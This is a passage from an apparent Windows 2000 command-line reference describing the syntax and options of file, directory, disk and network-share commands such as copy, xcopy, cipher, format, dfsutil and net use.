copy&lt;br /&gt;
copy [options] source destination&lt;br /&gt;
Copy files to destination. If destination is a single file, all source files are concatenated. (The&lt;br /&gt;
form file1 + file2 + ... may also be used to specify file concatenation.)&lt;br /&gt;
Options&lt;br /&gt;
/A | /B&lt;br /&gt;
Designate an ASCII or binary file, respectively (precedes source filenames and&lt;br /&gt;
follows destination filename).&lt;br /&gt;
/V&lt;br /&gt;
Verify the copied data after writing.&lt;br /&gt;
/N&lt;br /&gt;
Use 8.3 filenames for the copied files.&lt;br /&gt;
/Z&lt;br /&gt;
Perform a restartable network file copy operation.&lt;br /&gt;
/Y | /-Y&lt;br /&gt;
Suppress/require confirmation of file overwrites, respectively.&lt;br /&gt;
del&lt;br /&gt;
del [options] files&lt;br /&gt;
Delete files. erase is a synonym for del.&lt;br /&gt;
Options&lt;br /&gt;
/S&lt;br /&gt;
Recurse subdirectories in the file list.&lt;br /&gt;
/Q&lt;br /&gt;
Suppress all confirmation prompts.&lt;br /&gt;
/P&lt;br /&gt;
Confirm every deletion operation.&lt;br /&gt;
/F&lt;br /&gt;
Force deletion of read-only files.&lt;br /&gt;
/A:codes&lt;br /&gt;
Select only files with specified attributes: H for hidden, S for system, R for read-only,&lt;br /&gt;
and A for archive.&lt;br /&gt;
dir&lt;br /&gt;
dir [options] [path]&lt;br /&gt;
Display directory contents. path defaults to the current directory.&lt;br /&gt;
Options&lt;br /&gt;
Options may be set in the DIRCMD environment variable, and may be overridden by&lt;br /&gt;
including the option on the command line, preceded by a minus sign (e.g., /-N).&lt;br /&gt;
/B&lt;br /&gt;
Display filenames only, one per line (omit the header line).&lt;br /&gt;
/W | /D&lt;br /&gt;
Wide directory listing: display several filenames per output line, ordering them by&lt;br /&gt;
row or column, respectively.&lt;br /&gt;
/Q&lt;br /&gt;
Display file owners.&lt;br /&gt;
/N&lt;br /&gt;
Display Unix-style long directory listing (filenames appear on the right).&lt;br /&gt;
/L&lt;br /&gt;
Display all filenames in lowercase.&lt;br /&gt;
/X&lt;br /&gt;
Show 8.3 filenames in addition to long filenames.&lt;br /&gt;
/S&lt;br /&gt;
Recurse subdirectories.&lt;br /&gt;
/O: sort-order&lt;br /&gt;
Specify ordering of displayed files, using the following codes: N (by name), E (by&lt;br /&gt;
extension), S (by size), D (date and time), and G (list directories first). To reverse the&lt;br /&gt;
usual sort order, precede any code letter with a minus sign .&lt;br /&gt;
/T: timecode&lt;br /&gt;
Select which time to display and use for sorting: C (creation time), A (access time),&lt;br /&gt;
or W (modification time, which is the default).&lt;br /&gt;
/A:codes&lt;br /&gt;
Select only files with specified attributes: D for directories, H for hidden, S for&lt;br /&gt;
system, R for read-only, and A for archive. A minus sign before a code letter&lt;br /&gt;
indicates that files of that particular type are to be excluded.&lt;br /&gt;
/C | /-C&lt;br /&gt;
Include/omit commas from file sizes. (The default is to include them.)&lt;br /&gt;
/4&lt;br /&gt;
Display years in four digits.&lt;br /&gt;
/P&lt;br /&gt;
Pause after each output screen.&lt;br /&gt;
fc&lt;br /&gt;
fc [options] fileset1 fileset2&lt;br /&gt;
Compare files or sets of files, displaying the differences between them. If multiple source&lt;br /&gt;
files are specified, files of the same name in the second file set are compared.&lt;br /&gt;
Options&lt;br /&gt;
/B | /L | /U&lt;br /&gt;
Compare the files as binary files, ASCII text files, or Unicode text files, respectively.&lt;br /&gt;
No other options can be combined with /B.&lt;br /&gt;
/C&lt;br /&gt;
Perform a case-insensitive comparison.&lt;br /&gt;
/W&lt;br /&gt;
Compress all whitespace before comparing.&lt;br /&gt;
/T&lt;br /&gt;
Don't expand tabs to spaces.&lt;br /&gt;
/LBn&lt;br /&gt;
Specify the maximum number of consecutive mismatches.&lt;br /&gt;
/n&lt;br /&gt;
Specify the number of consecutive matching lines required after a mismatch before&lt;br /&gt;
the files are considered synchronized once again. (The default is 2.)&lt;br /&gt;
/A&lt;br /&gt;
Limit the display to just the first and final lines of each set of differences.&lt;br /&gt;
/N&lt;br /&gt;
Include line numbers in the display. (Valid for text files only.)&lt;br /&gt;
filever&lt;br /&gt;
filever [options] file(s)&lt;br /&gt;
Display the available version information for the specified file(s).&lt;br /&gt;
Options&lt;br /&gt;
/S&lt;br /&gt;
Recurse subdirectories.&lt;br /&gt;
/B&lt;br /&gt;
Bare format; exclude the header line for each file.&lt;br /&gt;
/V&lt;br /&gt;
Verbose output.&lt;br /&gt;
/A /D&lt;br /&gt;
Suppress file attributes ( /A ) or date and time ( /D) from the listing.&lt;br /&gt;
/E&lt;br /&gt;
List only executable files in the display (e.g., .EXE, .DLL, etc.).&lt;br /&gt;
inuseRK&lt;br /&gt;
inuse replace-file drive:\path\target-file [/Y]&lt;br /&gt;
Replace a locked file. Both file specifications must consist of full pathnames; the replacement&lt;br /&gt;
file may be specified by the physical or UNC path. /Y suppresses the confirmation prompt.&lt;br /&gt;
linkdRK&lt;br /&gt;
linkd location target | /D&lt;br /&gt;
Manipulate the junction (symbolic link) at the specified location (an empty folder).&lt;br /&gt;
Specifying target creates a new junction pointing to that folder or device, and specifying /D&lt;br /&gt;
removes an existing junction.&lt;br /&gt;
mcopyRK, mtcRK&lt;br /&gt;
mcopy log-file source-file destination-file&lt;br /&gt;
mtc log-file source-dir destination-dir&lt;br /&gt;
Perform a logged copy operation, either for an individual file or for a directory tree. The&lt;br /&gt;
operation log is written to the file specified as the first command argument.&lt;br /&gt;
move&lt;br /&gt;
move [/Y] files destination&lt;br /&gt;
Move files to new directory location. Use /Y to suppress overwrite confirmation prompts.&lt;br /&gt;
net file&lt;br /&gt;
net file [id [/CLOSE]]&lt;br /&gt;
Without arguments, list all open shared files and their ID numbers. When an id is specified,&lt;br /&gt;
information about that item is displayed and the /CLOSE option closes the file.&lt;br /&gt;
ntbackup&lt;br /&gt;
ntbackup backup[systemstate] bksfile /J jobname [options]&lt;br /&gt;
Perform the backup operation specified in the backup selection file (bksfile), assigning the job&lt;br /&gt;
the specified job name. The .BKS file must be created beforehand, using the command's&lt;br /&gt;
graphical interface.&lt;br /&gt;
If systemstate is included, system-related databases and files are also backed up (for&lt;br /&gt;
example, registry, Active Directory databases, SYSVOL, and so on).&lt;br /&gt;
Note that restore operations can only be performed via the GUI version of this utility. For&lt;br /&gt;
systemstate restores, see ntdsutil.&lt;br /&gt;
Options&lt;br /&gt;
Only one of the three following option sets may be selected:&lt;br /&gt;
/A /G guid| /T tapename&lt;br /&gt;
Append the backup set to the specified tape. (The default is to replace its current&lt;br /&gt;
data.) Use either /G or /T to specify the destination (by GUID or tape name,&lt;br /&gt;
respectively).&lt;br /&gt;
/P poolname /UM&lt;br /&gt;
Specify the media pool to use as the backup destination. The backup command finds&lt;br /&gt;
the first available media of the specified type, then formats it and uses it for the&lt;br /&gt;
backup operation.&lt;br /&gt;
/F filename&lt;br /&gt;
Specify the destination for a backup to a file.&lt;br /&gt;
The options specified in the .BKS file serve as defaults for the backup operation. The&lt;br /&gt;
following command-line options can be used to override those settings:&lt;br /&gt;
/V:YES | NO&lt;br /&gt;
Verify/don't verify the backup after writing it.&lt;br /&gt;
/HC:ON | OFF&lt;br /&gt;
Specify the hardware compression setting.&lt;br /&gt;
/N name&lt;br /&gt;
Specify the media name. Invalid with /A.&lt;br /&gt;
/D set-label&lt;br /&gt;
Specify the backup set label.&lt;br /&gt;
/M type&lt;br /&gt;
Select the backup type, which can be normal, copy, incremental, differential, or daily.&lt;br /&gt;
/R:YES | NO&lt;br /&gt;
Restrict /don't restrict the backup set to the owner and members of the Administrators&lt;br /&gt;
group.&lt;br /&gt;
/L : type&lt;br /&gt;
Specify the log file type for the backup operation, either f (full), s (summary), or n&lt;br /&gt;
(none).&lt;br /&gt;
/RS:YES | NO&lt;br /&gt;
Backup/exclude the removable storage database.&lt;br /&gt;
/DS server&lt;br /&gt;
Back up the Exchange directory service file on the specified server.&lt;br /&gt;
/IS server&lt;br /&gt;
Back up the Exchange information store file on the specified server.&lt;br /&gt;
ntdsutil&lt;br /&gt;
ntdsutil&lt;br /&gt;
This command must be run after a system state restore operation is completed in order to&lt;br /&gt;
authoritatively restore the Active Directory data. (It is required when restoring database files&lt;br /&gt;
that have been replicated to other DCs.) Once ntdsutil completes, the system should be&lt;br /&gt;
rebooted.&lt;br /&gt;
ohRK&lt;br /&gt;
oh [options]&lt;br /&gt;
Display open handles.&lt;br /&gt;
Options&lt;br /&gt;
/P pid&lt;br /&gt;
Limit display to handles associated with the specified process.&lt;br /&gt;
/T type&lt;br /&gt;
Limit display to handles of the specified type.&lt;br /&gt;
string&lt;br /&gt;
Limit display to handles whose name contains the specified string.&lt;br /&gt;
/A&lt;br /&gt;
Include unnamed objects.&lt;br /&gt;
Note that when multiple options are specified, only handles matching all of them are&lt;br /&gt;
displayed.&lt;br /&gt;
pax&lt;br /&gt;
pax [options] [path]&lt;br /&gt;
POSIX-compatible archive/backup program, capable of reading tar (the default) and cpio&lt;br /&gt;
(use -x cpio) archives on disk.&lt;br /&gt;
pax -f archive&lt;br /&gt;
List the contents of the specified archive.&lt;br /&gt;
pax -r -f archive [-s replace-cmd] [pattern-list]&lt;br /&gt;
Extract the contents of the specified archive to the current directory, limiting extracted items&lt;br /&gt;
to those matching a pattern in the list (if specified). The -s option says to perform the sedstyle&lt;br /&gt;
replacement command on each incoming filename.&lt;br /&gt;
pax -w [-a] -f archive [-s replace-cmd] [paths]&lt;br /&gt;
Create the specified archive, placing the indicated files and subtrees within it. If -a is&lt;br /&gt;
included, then the archive is appended to, rather than replaced.&lt;br /&gt;
See the ntbooks documentation for additional operating modes and options.&lt;br /&gt;
permcopyRK&lt;br /&gt;
permcopy \\server share\\dest-server share&lt;br /&gt;
Copy permission from the specified server and share to the destination server and share.&lt;br /&gt;
permsRK&lt;br /&gt;
perms [options] user files&lt;br /&gt;
Display the specified user's permissions for the specified files.&lt;br /&gt;
Options&lt;br /&gt;
/S&lt;br /&gt;
Recurse subdirectories.&lt;br /&gt;
/I&lt;br /&gt;
Display permissions corresponding to interactive access.&lt;br /&gt;
ren&lt;br /&gt;
ren path new-name&lt;br /&gt;
Rename the specified file. rename is a synonym for ren.&lt;br /&gt;
replace&lt;br /&gt;
replace source-files destination [options]&lt;br /&gt;
Replace/update files in a destination directory.&lt;br /&gt;
Options&lt;br /&gt;
/A&lt;br /&gt;
Add new files to the destination directory. This is not valid with /U or /S.&lt;br /&gt;
/U&lt;br /&gt;
Update only destination files that are older than their corresponding source files.&lt;br /&gt;
/S&lt;br /&gt;
Recurse subdirectories.&lt;br /&gt;
/R&lt;br /&gt;
Replace read-only files.&lt;br /&gt;
/P&lt;br /&gt;
Require confirmation for all replacements and additions.&lt;br /&gt;
rsdiag&lt;br /&gt;
rsdiag [options]&lt;br /&gt;
Display information in or from Remote Storage facility databases.&lt;br /&gt;
Options&lt;br /&gt;
/S | /V | /M&lt;br /&gt;
Display storage media /volume/manageable volume lists. /V also optionally accepts a&lt;br /&gt;
drive letter in order to obtain detailed information about that volume.&lt;br /&gt;
/W full-path&lt;br /&gt;
Display the physical storage media and data set storing the most recent version of the&lt;br /&gt;
specified file.&lt;br /&gt;
/J [jobname]&lt;br /&gt;
List all pending jobs or detailed information about the specified job.&lt;br /&gt;
/C jobname&lt;br /&gt;
Cancel the specified job.&lt;br /&gt;
/R [/F]&lt;br /&gt;
Display contents of the recall queue. /F requests more detailed data.&lt;br /&gt;
/X recallnum&lt;br /&gt;
Cancel a pending recall operation.&lt;br /&gt;
/I&lt;br /&gt;
Display version information for the database files.&lt;br /&gt;
/T&lt;br /&gt;
Reload trace files.&lt;br /&gt;
/D type full-path&lt;br /&gt;
Write database information to the specified file. type indicates the desired data: e&lt;br /&gt;
(Engine database), f (File System Agent database), a (File System Agent collection),&lt;br /&gt;
n (Engine collection), or s (Subsystem collection).&lt;br /&gt;
rsdir&lt;br /&gt;
rsdir item [options]&lt;br /&gt;
Display information about Remote Storage facility status for the specified items (i.e., whether&lt;br /&gt;
or not they are offline).&lt;br /&gt;
Options&lt;br /&gt;
/S&lt;br /&gt;
Recurse subdirectories.&lt;br /&gt;
/F&lt;br /&gt;
Display extended file information.&lt;br /&gt;
srvcheckRK&lt;br /&gt;
srvcheck \\host&lt;br /&gt;
List all shares and their access permissions on the specified computer system.&lt;br /&gt;
subinaclRK&lt;br /&gt;
subinacl [/Test_Mode] /type items /action&lt;br /&gt;
Modify ACLs for the specified items. /Test_Mode says to indicate the action to take, but not&lt;br /&gt;
actually to perform it. This command cannot be used on Dfs volumes.&lt;br /&gt;
/Type indicates the items' object type: /file, /share, /subdirectories (traverse directory tree),&lt;br /&gt;
/keyreg and subkeyreg (registry keys, with or without recursion), /service, /printer, and&lt;br /&gt;
/kernelobject.&lt;br /&gt;
Actions are options that specify a transformation of the existing ACL (the default action is to&lt;br /&gt;
display the ACL). Here are some of the most useful (see W2RKTools.Chm for a full list):&lt;br /&gt;
/Owner =User&lt;br /&gt;
Set item ownership.&lt;br /&gt;
/Replace=Old-user=New-user&lt;br /&gt;
Reassign the ACEs from the old user to the new user.&lt;br /&gt;
/ChangeDomain=Old-domain=New-domain&lt;br /&gt;
Replace all ACEs from the old domain with the corresponding ones from the new&lt;br /&gt;
domain. There must be a trust relationship between the two domains.&lt;br /&gt;
/MigrateDomain=Old-domain=New-domain&lt;br /&gt;
Copy all ACEs from the old domain, changing them to the corresponding ACEs from&lt;br /&gt;
the new domain. There must be a trust relationship between the two domains.&lt;br /&gt;
/Grant=Name=Perms&lt;br /&gt;
/Deny=Name=Perms&lt;br /&gt;
Add a grant/denial ACE for the specified user or group, having the specified&lt;br /&gt;
permissions. (See W2RKTools.Chm for permission codes.)&lt;br /&gt;
takeownRK&lt;br /&gt;
takeown files&lt;br /&gt;
Take ownership of system-owned files.&lt;br /&gt;
type&lt;br /&gt;
type file&lt;br /&gt;
Display file contents.&lt;br /&gt;
xcopy&lt;br /&gt;
xcopy files destination [options]&lt;br /&gt;
Copy directory trees.&lt;br /&gt;
Options&lt;br /&gt;
/EXCLUDE: file&lt;br /&gt;
Exclude all files matching any of the patterns listed in the specified file (one per line)&lt;br /&gt;
from the copy operation.&lt;br /&gt;
/R&lt;br /&gt;
Overwrite read-only files.&lt;br /&gt;
/U&lt;br /&gt;
Update mode. Copy only files that already exist in the destination directory tree.&lt;br /&gt;
/D:m-d-y&lt;br /&gt;
Copy only files modified on or after the specified date.&lt;br /&gt;
/A | /M&lt;br /&gt;
Select files with the archive attribute set, then leave it set or unset, respectively.&lt;br /&gt;
/H&lt;br /&gt;
Include hidden and system files.&lt;br /&gt;
/S&lt;br /&gt;
Recurse nonempty subdirectories.&lt;br /&gt;
/T&lt;br /&gt;
Reproduce the directory tree structure but don't copy any files (excludes empty&lt;br /&gt;
subdirectories).&lt;br /&gt;
/E&lt;br /&gt;
Include empty directories (implies /S, unless used with /T).&lt;br /&gt;
/V&lt;br /&gt;
Verify the copied data.&lt;br /&gt;
/I&lt;br /&gt;
Force the destination to be interpreted as a directory.&lt;br /&gt;
/Q | /F&lt;br /&gt;
Produce terse or verbose output, respectively.&lt;br /&gt;
/L&lt;br /&gt;
List files to be copied by the command, but don't actually copy any files.&lt;br /&gt;
/P&lt;br /&gt;
Require confirmation for each destination file.&lt;br /&gt;
/K&lt;br /&gt;
Reproduce the read-only status of copied files.&lt;br /&gt;
/N&lt;br /&gt;
Copy using 8.3 filenames.&lt;br /&gt;
/C&lt;br /&gt;
Continue copying even if an error occurs.&lt;br /&gt;
/Z&lt;br /&gt;
Copy network files in a restartable operation.&lt;br /&gt;
/Y&lt;br /&gt;
Suppress overwrite confirmation prompts.&lt;br /&gt;
/W&lt;br /&gt;
Prompt before beginning copy operation.&lt;br /&gt;
1.8 Working with Directories&lt;br /&gt;
append&lt;br /&gt;
append path-list [options]&lt;br /&gt;
Create a search path of directories for datafiles (used in addition to the current folder), where&lt;br /&gt;
path-list is a semicolon-separated list of directories (use a single semicolon to clear the&lt;br /&gt;
append path).&lt;br /&gt;
Options&lt;br /&gt;
/X [:on | off]&lt;br /&gt;
Turn use of the append path on or off. In order to use this option, the first append&lt;br /&gt;
command executed must include /X:on. on is the default if no setting is given to /X.&lt;br /&gt;
/Path [:on | off]&lt;br /&gt;
Specify whether to search the append path for datafiles including full paths. The&lt;br /&gt;
default is on.&lt;br /&gt;
/E&lt;br /&gt;
Set the value of the APPEND environment variable to the append path, allowing it to&lt;br /&gt;
be viewed subsequently with set.&lt;br /&gt;
cd&lt;br /&gt;
cd [/D] [path]&lt;br /&gt;
Display or set the current working directory. If path does not include a drive letter, the current&lt;br /&gt;
drive is assumed. Use /D to change to the current directory on the specified drive when it is&lt;br /&gt;
different from the current drive. (The default is to just set it.) The form .. is used to refer to a&lt;br /&gt;
parent directory.&lt;br /&gt;
chdir is a synonym for cd.&lt;br /&gt;
cipher&lt;br /&gt;
cipher [options] [paths]&lt;br /&gt;
Display encryption status (default operation) or encrypt /decrypt files. The list of paths&lt;br /&gt;
defaults to the current directory. The options /E and /D specify encryption or decryption. (The&lt;br /&gt;
default mode is a status display.)&lt;br /&gt;
cipher /E | /D dirs&lt;br /&gt;
Mark specified folders as encrypted /decrypted (affecting subsequently added files).&lt;br /&gt;
cipher /E | /D /S:dir&lt;br /&gt;
Mark all folders in the specified directory subtree.&lt;br /&gt;
cipher /E |/D /A specs&lt;br /&gt;
cipher /E |/D /A /S:dir specs&lt;br /&gt;
Encrypt/decrypt all files and mark all subdirectories matching the wildcard specifications in&lt;br /&gt;
the current directory (first form), or throughout the directory tree, beginning at the specified&lt;br /&gt;
directory. Omit specs in the second form to operate on an entire subtree.&lt;br /&gt;
Additional Options&lt;br /&gt;
/I&lt;br /&gt;
Continue on error.&lt;br /&gt;
/H&lt;br /&gt;
Include system and hidden files.&lt;br /&gt;
/F&lt;br /&gt;
Force encryption /decryption of all items, regardless of their current status.&lt;br /&gt;
/Q&lt;br /&gt;
Quiet mode.&lt;br /&gt;
delrpRK&lt;br /&gt;
delrp path&lt;br /&gt;
Delete the specified item, along with any associated reparse points.&lt;br /&gt;
diruseRK&lt;br /&gt;
diruse [/*] [dirs]&lt;br /&gt;
Compute and display disk space usage by directory for the specified directories (or the toplevel&lt;br /&gt;
folders within the specified directories, if the option is included).&lt;br /&gt;
Options&lt;br /&gt;
/S&lt;br /&gt;
Give subtotals for each subfolder.&lt;br /&gt;
/M | /K&lt;br /&gt;
Display totals in megabytes or kilobytes (bytes is the default).&lt;br /&gt;
/C&lt;br /&gt;
Use the compressed file size rather than the apparent file size.&lt;br /&gt;
/Q :n [/A] [/D] [/O]&lt;br /&gt;
Mark folders exceeding the specified size with ! in the output (n has the same units as&lt;br /&gt;
the output). /A also generates an alert, /D limits the display to folders greater than the&lt;br /&gt;
specified size, and /O checks only the total sizes of the specified directories, rather&lt;br /&gt;
than also checking all subfolders beneath them.&lt;br /&gt;
/,&lt;br /&gt;
Place commas in numbers greater than 999 in the output.&lt;br /&gt;
efsinfoRK&lt;br /&gt;
efsinfo [path| /S:dir]&lt;br /&gt;
Display encrypted file/folder information. By default, the command lists the status of the&lt;br /&gt;
items in the current or specified directory, or in the subdirectory tree specified to /S.&lt;br /&gt;
Options&lt;br /&gt;
[/R] | [/C]&lt;br /&gt;
Display recovery agent/certificate thumbnail information for each item, respectively.&lt;br /&gt;
/Y&lt;br /&gt;
Display the current EFS certificate thumbnail for the local computer, if accessible.&lt;br /&gt;
/I&lt;br /&gt;
Continue on error.&lt;br /&gt;
md&lt;br /&gt;
md path&lt;br /&gt;
Create a directory (and all missing intermediates). mkdir is a synonym for md.&lt;br /&gt;
popd&lt;br /&gt;
popd&lt;br /&gt;
Return to the directory at the top of the directory stack (and remove it from the stack).&lt;br /&gt;
pushd&lt;br /&gt;
pushd [path]&lt;br /&gt;
Change the current working directory to the specified directory, and save the previous&lt;br /&gt;
location in a directory stack (return with popd). Without an argument, pushd displays the&lt;br /&gt;
current directory stack.&lt;br /&gt;
rd&lt;br /&gt;
rd [options] path&lt;br /&gt;
Remove a subdirectory. rmdir is a synonym for rd.&lt;br /&gt;
Options&lt;br /&gt;
/S&lt;br /&gt;
Remove the entire subtree.&lt;br /&gt;
/Q&lt;br /&gt;
Suppress confirmation prompts.&lt;br /&gt;
sfc&lt;br /&gt;
sfc [options]&lt;br /&gt;
Replace incorrect versions of system files with canonical versions.&lt;br /&gt;
Options&lt;br /&gt;
/ScanNow | /PurgeCache | /ScanOnce | /ScanBoot&lt;br /&gt;
Specify when to perform the scan and replacement: do it immediately, possibly&lt;br /&gt;
purging the File Protection cache first, do it at the next boot, or do it at every boot,&lt;br /&gt;
respectively.&lt;br /&gt;
/Cancel&lt;br /&gt;
Cancel all pending scans.&lt;br /&gt;
/Quiet&lt;br /&gt;
Suppress confirmation prompts when replacing files.&lt;br /&gt;
/Enable&lt;br /&gt;
Enable the Windows File Protection facility, which scans and replaces system files&lt;br /&gt;
automatically on an ongoing basis.&lt;br /&gt;
tree&lt;br /&gt;
tree dir[options]&lt;br /&gt;
Display the tree structure for the specified directory.&lt;br /&gt;
Options&lt;br /&gt;
/A&lt;br /&gt;
Use ASCII characters instead of extended graphics characters.&lt;br /&gt;
/F&lt;br /&gt;
Include filenames in the display.&lt;br /&gt;
1.9 Working with Disks and Filesystems&lt;br /&gt;
chkdsk&lt;br /&gt;
chkdsk x:[options]&lt;br /&gt;
Check the filesystem on Drive x.&lt;br /&gt;
Options&lt;br /&gt;
/F [/X]&lt;br /&gt;
Fix any errors encountered. /X forces a volume dismount before the check.&lt;br /&gt;
/L :n&lt;br /&gt;
Change the log file size to n KB (on NTFS filesystems only).&lt;br /&gt;
/R&lt;br /&gt;
Locate and recover bad sectors.&lt;br /&gt;
/V&lt;br /&gt;
Produce verbose output.&lt;br /&gt;
dfscmd&lt;br /&gt;
dmfcmd [options]&lt;br /&gt;
Administer the Distributed File System (Dfs) facility on the local system.&lt;br /&gt;
Options&lt;br /&gt;
/VIEW \\dfsroot\share[/Partial | /Full | /Batch | ^ /BatchRestore]&lt;br /&gt;
View the components of the specified Dfs share. /Partial adds share comments to the&lt;br /&gt;
output and /Full lists all servers for each volume. The remaining options create batch&lt;br /&gt;
files suitable for recreating the Dfs, including the /Restore switch in the latter case&lt;br /&gt;
(see the next option, /MAP).&lt;br /&gt;
/MAP \\root\share\path\\server\share\path [comment] ^ [/Restore]&lt;br /&gt;
Add a shared folder to the specified Dfs tree. /Restore suppresses all checks of the&lt;br /&gt;
destination server and forces the mapping.&lt;br /&gt;
/UNMAP \\root\share\path&lt;br /&gt;
Remove a component from a Dfs tree.&lt;br /&gt;
/ADD \\root\share\path\\server\share\path [/Restore]&lt;br /&gt;
Add a replica for the specified Dfs tree components. /Restore suppresses all checks&lt;br /&gt;
of the destination server and forces the mapping.&lt;br /&gt;
/REMOVE \\root\share\path\\server\share\path&lt;br /&gt;
Remove a replica from the Dfs volume.&lt;br /&gt;
dfsutil&lt;br /&gt;
dfsutil [options]&lt;br /&gt;
Administer the Distributed File System (Dfs) facility in a Windows 2000 domain.&lt;br /&gt;
Server Options&lt;br /&gt;
/LIST:domain [/DCNAME:name]&lt;br /&gt;
List the distributed filesystems in the specified domain, using the specified domain&lt;br /&gt;
controller if included. (This option is necessary if the local system is not a domain&lt;br /&gt;
controller.)&lt;br /&gt;
/VIEW:\\dfsroot \dfsshare [/DCNAME:name] [/LEVEL:1]&lt;br /&gt;
Display configuration information for the specified Dfs tree component (share).&lt;br /&gt;
/LEVEL:1 requests more detailed output.&lt;br /&gt;
/WHATIS:server&lt;br /&gt;
Display the Dfs server type and Dfs root for the specified server.&lt;br /&gt;
/VERIFY:dfsroot \dfsshare [/DCNAME:name]&lt;br /&gt;
Verify the metadata for the specified Dfs share.&lt;br /&gt;
/DFSALT:unc-path&lt;br /&gt;
Resolve the specified pathname to the UNC path to the actual data (taking into&lt;br /&gt;
account replication).&lt;br /&gt;
/UNMAP:\\dfsroot \dfsshare /ROOT:\\server \share&lt;br /&gt;
Remove the share specified in /ROOT from the specified Dfs tree.&lt;br /&gt;
/REINIT:server&lt;br /&gt;
Reinitialize Dfs on the specified server.&lt;br /&gt;
/CLEAN:server&lt;br /&gt;
Remove all Dfs-related registry entries from the specified server.&lt;br /&gt;
/DCLIST:domain&lt;br /&gt;
List domain controllers in the specified domain.&lt;br /&gt;
/TRUSTS:domain [/ALL] [/DCNAME:name]&lt;br /&gt;
List Windows 2000 (or all) domains that trust the specified domain.&lt;br /&gt;
Client Options&lt;br /&gt;
/PKTINFO&lt;br /&gt;
Display information about client Dfs usage on the local system, including local&lt;br /&gt;
caching of data.&lt;br /&gt;
/PKTFLUSH[:entry]&lt;br /&gt;
Flush the specified Partition Knowledge Table (PKT) entry in the local cache (or all&lt;br /&gt;
entries if none is specified). Note that the PKT is now a blob.&lt;br /&gt;
diskcomp&lt;br /&gt;
diskcomp x: y:&lt;br /&gt;
Compare the diskettes in Drive x and Drive y (this may be the same drive).&lt;br /&gt;
diskcopy&lt;br /&gt;
diskcopy x: y: [/V]&lt;br /&gt;
Copy the floppy in Drive x to Drive y (this may be the same diskette drive). /V says to verify&lt;br /&gt;
the copied data.&lt;br /&gt;
diskmapRK&lt;br /&gt;
diskmap /Dn&lt;br /&gt;
Display detailed physical geometry data for the specified disk drive (numbering starts at 1).&lt;br /&gt;
diskuseRK&lt;br /&gt;
diskuse [path] [options]&lt;br /&gt;
Display disk space usage by user account for the current or specified directory tree.&lt;br /&gt;
Options&lt;br /&gt;
/U:user&lt;br /&gt;
Limit the command to the specified user.&lt;br /&gt;
/S&lt;br /&gt;
Recurse subdirectories.&lt;br /&gt;
/T&lt;br /&gt;
Format the output as a table.&lt;br /&gt;
dmdiagRK&lt;br /&gt;
Dmdiag&lt;br /&gt;
Produce an excruciatingly detailed listing of disk information.&lt;br /&gt;
format&lt;br /&gt;
format x: [options]&lt;br /&gt;
Format the disk partition designated by drive letter x (or the diskette in Drive x:).&lt;br /&gt;
Options&lt;br /&gt;
/FS:type&lt;br /&gt;
Specify the filesystem type (NTFS or FAT).&lt;br /&gt;
/V:label&lt;br /&gt;
Specify the volume label.&lt;br /&gt;
/A:n&lt;br /&gt;
Set the filesystem's allocation unit size to n bytes (add the K suffix to designate&lt;br /&gt;
kilobytes). Valid sizes are powers of 2, from 512 to 64K for NTFS filesystems, and&lt;br /&gt;
from 8,192 to 16K for FAT filesystems.&lt;br /&gt;
The default allocation unit size varies with the partition size: 4K for over 2 GB, 2K&lt;br /&gt;
for 1 to 2 GB, 1K for 513MB to 1GB, and 512 for 512 MB or less.&lt;br /&gt;
/C&lt;br /&gt;
Compress files on the new filesystem by default. (This is for NTFS filesystems with&lt;br /&gt;
an allocation size of 4K or less only.)&lt;br /&gt;
/Q&lt;br /&gt;
Perform a quick format operation if possible.&lt;br /&gt;
/X&lt;br /&gt;
Force a volume dismount before formatting.&lt;br /&gt;
/T:tracks, /N:sectors&lt;br /&gt;
Specify tracks/side and sectors/track (respectively) for floppy disks.&lt;br /&gt;
label&lt;br /&gt;
label [x:] [label]&lt;br /&gt;
Assign the volume label for Drive x (defaults to the current drive). If no label is specified, you&lt;br /&gt;
are prompted for it.&lt;br /&gt;
mountvol&lt;br /&gt;
mountvol dir volume | options&lt;br /&gt;
Mount the specified volume at the indicated directory location.&lt;br /&gt;
Options&lt;br /&gt;
/D&lt;br /&gt;
Unmount a mounted volume (omit the second parameter).&lt;br /&gt;
/L&lt;br /&gt;
List the volume mounted at the specified location.&lt;br /&gt;
vol&lt;br /&gt;
vol [x:]&lt;br /&gt;
Display the volume label for Drive x.&lt;br /&gt;
1.10 Managing Shares&lt;br /&gt;
net share&lt;br /&gt;
net share share-name[=path] [options]&lt;br /&gt;
Make a directory available to the network or revoke shared access (the =path form is used&lt;br /&gt;
only when defining a new shared resource).&lt;br /&gt;
Without arguments, the command lists all currently shared resources. If just a share name is&lt;br /&gt;
specified (without options), information about that resource is displayed.&lt;br /&gt;
Options&lt;br /&gt;
/USERS:n&lt;br /&gt;
Specify the maximum number of simultaneous users.&lt;br /&gt;
/UNLIMITED&lt;br /&gt;
Allow unlimited users to access the share simultaneously.&lt;br /&gt;
/REMARK: "text "&lt;br /&gt;
Specify a description or other comment for the share.&lt;br /&gt;
/DELETE&lt;br /&gt;
Remove the specified shared resource. Either the share name, the path, or the printer&lt;br /&gt;
device may be specified as the argument to the command.&lt;br /&gt;
net use&lt;br /&gt;
net use [device:] [\\host\share] [password | *] [options]&lt;br /&gt;
Map a network resource to a local device, which can be a drive letter or a printer of the form&lt;br /&gt;
LPTn.&lt;br /&gt;
The host and share name argument is used only when defining new mappings. It may have a&lt;br /&gt;
NetWare volume name appended, if appropriate.&lt;br /&gt;
Any required password may be specified on the command line, or an asterisk may be&lt;br /&gt;
substituted to request a password prompt.&lt;br /&gt;
Options&lt;br /&gt;
/PERSISTENT:YES | NO&lt;br /&gt;
Create a persistent mapping (automatically re-created at each login). The default is&lt;br /&gt;
the setting used most recently. If this option is specified without any other arguments,&lt;br /&gt;
it changes the current default.&lt;br /&gt;
/USER:[domain\]username&lt;br /&gt;
Specify an alternate user account for accessing the resource.&lt;br /&gt;
/HOME&lt;br /&gt;
Map the specified drive letter to your home directory (no resource specification is&lt;br /&gt;
needed).&lt;br /&gt;
/DELETE&lt;br /&gt;
Permanently remove the specified device mapping.&lt;br /&gt;
net view&lt;br /&gt;
net view [target]&lt;br /&gt;
Display the names of the computers in a domain or network, or display the shared resources&lt;br /&gt;
on a specified remote system. target can be one of the following:&lt;br /&gt;
\\host&lt;br /&gt;
The name of a remote system whose shared resources are displayed.&lt;br /&gt;
/DOMAIN:name&lt;br /&gt;
A Windows 2000 domain (its members are listed).&lt;br /&gt;
/NETWORK:NW [ \\host]&lt;br /&gt;
